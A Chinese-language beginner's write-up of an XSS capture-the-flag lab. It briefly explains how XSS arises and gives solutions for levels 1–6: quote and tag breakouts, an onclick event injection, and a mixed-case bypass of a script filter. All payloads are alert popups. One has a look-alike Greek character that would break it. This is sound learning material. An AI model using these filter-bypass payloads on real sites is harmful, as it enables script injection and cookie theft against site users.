前言:本文只是写给自己看,web入门新人,大佬见笑勿喷,欢迎对笔者理解浅薄或错误之处及时指正
XSS成因与危害
后台未对用户提交数据进行合理滤过,使得用户在后台中提交Javascript信息,形成钓鱼网站,从而实现盗取点击者的cookie
XSS分类
XSS-CTF刷题记录
题库这里
此CTF只需要进行弹窗构造,无需模拟点击链接过程
level-1 弹窗
在URL中 ?name= 后直接构造
<script>alert("1")</script>
后台提交显示
</script>
<h1>欢迎来到level1</h1>
<h2>欢迎用户<script>alert("1")</script></h2>
<img src=level1.png>
<h3>payload的长度:27</h3>
<script>
level-2 闭合标签
看后台
<input name=keyword value="test">
注意标签闭合,payload:
"><script>alert("1")</script><"
level-3 尖括号过滤
常规提交,检查后台
<input name=keyword value='"><script>alert("1")</script><"'>
发现尖括号被过滤,同时注意到前后有 ’ 单引号,应当用 ’ 进行闭合
常见触发事件
onClick 鼠标点击事件,多用在某个对象控制的范围内的鼠标点击
onMouse 鼠标悬停事件
onDblClick 鼠标双击事件
onMouseDown 鼠标上的按钮被按下了
onMouseUp 鼠标按下后,松开时激发的事件
onMouseOver 当鼠标移动到某对象范围的上方时触发的事件
onMouseMove 鼠标移动时触发的事件
onMouseOut 当鼠标离开某对象范围时触发的事件
考虑用事件触发,payload:
' οnclick=alert("1") '
level-4 尖括号过滤
常规提交,检查后台
<input name=keyword value="scriptalert("1")</script>">
注意此处 " 闭合,思路同上
ps:注意构造时后留出空格用于闭合,否则无法正确闭合
此处alert()后面未闭合
level-5 大写绕过script过滤
常规并检查
<input name=keyword value=""><scr_ipt>alert("1")</script><"">
大写绕过,paylaod:
"><scRIpT>alert("1")</script><"
level-6 script过滤
和level-5一样,不知道为啥